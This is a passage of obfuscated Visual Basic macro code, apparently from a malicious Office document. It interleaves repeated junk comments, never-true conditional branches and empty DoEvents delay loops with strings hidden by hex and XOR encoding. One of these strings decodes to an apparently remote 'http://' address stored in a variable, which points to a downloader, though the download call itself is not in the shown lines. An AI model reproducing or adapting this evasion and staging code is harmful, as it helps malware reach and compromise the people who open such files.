  1988. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1989. Next MVjWXZHy
  1990. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1991.    
  1992. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1993.  
  1994. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1995. End Function
  1996. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1997. Sub BDMLBVTBLGM()
  1998. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1999. If 537311 = 537311 + 1 Then End
  2000. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2001. If 2359 < 47 Then
  2002. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2003.  
  2004. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2005. Dim ZniZRiiW As Integer
  2006. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2007. Dim RSckpaIQ As Integer
  2008. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2009. For RSckpaIQ = 0 To 1
  2010. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2011. DoEvents
  2012. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2013. Next RSckpaIQ
  2014. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2015. ZniZRiiW = 9
  2016. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2017. Do While ZniZRiiW < 69
  2018. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2019. Dim OoCwwNUa As Integer
  2020. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2021. For OoCwwNUa = 0 To 9
  2022. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2023. DoEvents
  2024. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2025. Next OoCwwNUa
  2026. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2027. DoEvents: ZniZRiiW = ZniZRiiW + 1
  2028. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2029. Dim SCXTjVKq As Integer
  2030. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2031. For SCXTjVKq = 0 To 6
  2032. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2033. DoEvents
  2034. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2035. Next SCXTjVKq
  2036. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2037. Loop
  2038. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2039.  
  2040. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2041. Dim PsYLRzBR As Integer
  2042. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2043. For PsYLRzBR = 0 To 5
  2044. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2045. DoEvents
  2046. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2047. Next PsYLRzBR
  2048. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2049.        MsgBox (XORI(Hextostring("3A00182123130B02795B"), Hextostring("4A634263")))
  2050. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2051. End If
  2052. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2053. If Len(XORI(Hextostring("1E32070A3F37062550495B70"), Hextostring("687A6A46"))) = Len(XORI(Hextostring("2434291B182C220F"), Hextostring("4146434E"))) Then
  2054. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2055.  
  2056. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2057. Dim ARKSieRt As Integer
  2058. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2059. Dim xOtMyRXz As Integer
  2060. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2061. For xOtMyRXz = 0 To 9
  2062. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2063. DoEvents
  2064. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2065. Next xOtMyRXz
  2066. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2067. ARKSieRt = 9
  2068. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2069. Do While ARKSieRt < 98
  2070. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2071. Dim jlrBJvyX As Integer
  2072. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2073. For jlrBJvyX = 0 To 8
  2074. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2075. DoEvents
  2076. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2077. Next jlrBJvyX
  2078. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2079. DoEvents: ARKSieRt = ARKSieRt + 1
  2080. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2081. Dim jleeATzh As Integer
  2082. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2083. For jleeATzh = 0 To 2
  2084. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2085. DoEvents
  2086. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2087. Next jleeATzh
  2088. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2089. Loop
  2090. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2091.  
  2092. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2093. Dim xDPUphJo As Integer
  2094. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2095. For xDPUphJo = 0 To 3
  2096. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2097. DoEvents
  2098. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2099. Next xDPUphJo
  2100. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2101.       MsgBox (XORI(Hextostring("3130311B3063556362"), Hextostring("744243")))
  2102. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2103. End If
  2104. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2105.  
  2106. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2107. Dim lcVdtKjS As Integer
  2108. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2109. Dim JxuWQGhN As Integer
  2110. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2111. For JxuWQGhN = 0 To 7
  2112. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2113. DoEvents
  2114. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2115. Next JxuWQGhN
  2116. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2117. lcVdtKjS = 7
  2118. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2119. Do While lcVdtKjS < 87
  2120. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2121. Dim jcZoftxl As Integer
  2122. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2123. For jcZoftxl = 0 To 2
  2124. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2125. DoEvents
  2126. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2127. Next jcZoftxl
  2128. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2129. DoEvents: lcVdtKjS = lcVdtKjS + 1
  2130. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2131. Dim ltoIGEMv As Integer
  2132. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2133. For ltoIGEMv = 0 To 6
  2134. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2135. DoEvents
  2136. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2137. Next ltoIGEMv
  2138. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2139. Loop
  2140. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2141.  
  2142. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2143. Dim MaeuVsmZ As Integer
  2144. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2145. For MaeuVsmZ = 0 To 4
  2146. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2147. DoEvents
  2148. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2149. Next MaeuVsmZ
  2150. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2151. ibjNKnpohnk = XORI(Hextostring("3A13053B60637D001E2D35383D4915207526214813223462371F14"), Hextostring("5267714B5A4C"))
  2152. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2153.  
  2154. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2155. If 165992 = 165992 + 1 Then End
  2156. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2157. If 7371 < 69 Then
  2158. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2159.  
  2160. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2161. Dim FywxKYXo As Integer
  2162. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2163. Dim EVpDzoeV As Integer
  2164. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2165. For EVpDzoeV = 0 To 1
  2166. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2167. DoEvents
  2168. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2169. Next EVpDzoeV
  2170. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2171. FywxKYXo = 2
  2172. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2173. Do While FywxKYXo < 24
  2174. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2175. Dim kmGkosUz As Integer
  2176. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2177. For kmGkosUz = 0 To 8
  2178. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2179. DoEvents
  2180. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2181. Next kmGkosUz
  2182. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2183. DoEvents: FywxKYXo = FywxKYXo + 1
  2184. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2185. Dim WaCPZYGA As Integer
  2186. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2187. For WaCPZYGA = 0 To 1
  2188. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2189. DoEvents
  2190. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2191. Next WaCPZYGA
  2192. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2193. Loop
  2194. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2195.  
  2196. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2197. Dim nhDvPFZP As Integer
  2198. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2199. For nhDvPFZP = 0 To 4
  2200. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2201. DoEvents
  2202. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2203. Next nhDvPFZP
  2204. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2205.        MsgBox (XORI(Hextostring("2B0B1C213C05343E7C4D"), Hextostring("594E746F706E73")))
  2206. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2207. End If
  2208. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2209. If Len(XORI(Hextostring("0E3A1C0E04243C287D58417F"), Hextostring("6B7248"))) = Len(XORI(Hextostring("0E1E361F1B062F37"), Hextostring("69796F"))) Then
  2210. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2211.  
  2212. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2213. Dim hWMZVzbX As Integer
  2214. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2215. Dim uQHmYWmh As Integer
  2216. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2217. For uQHmYWmh = 0 To 6
  2218. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2219. DoEvents
  2220. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2221. Next uQHmYWmh
  2222. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2223. hWMZVzbX = 7
  2224. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2225. Do While hWMZVzbX < 19
  2226. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2227. Dim SBRdAFNL As Integer
  2228. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2229. For SBRdAFNL = 0 To 2
  2230. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2231. DoEvents
  2232. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2233. Next SBRdAFNL
  2234. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2235. DoEvents: hWMZVzbX = hWMZVzbX + 1
  2236. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2237. Dim ZqrfVtfw As Integer
  2238. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2239. For ZqrfVtfw = 0 To 4
  2240. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2241. DoEvents
  2242. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2243. Next ZqrfVtfw
  2244. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2245. Loop
  2246. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2247.  
  2248. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2249. Dim JxavsRDV As Integer
  2250. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2251. For JxavsRDV = 0 To 7
  2252. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2253. DoEvents
  2254. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2255. Next JxavsRDV
  2256. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2257.       MsgBox (XORI(Hextostring("2C3A19201B684A6E48"), Hextostring("69486B4F")))
  2258. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2259. End If
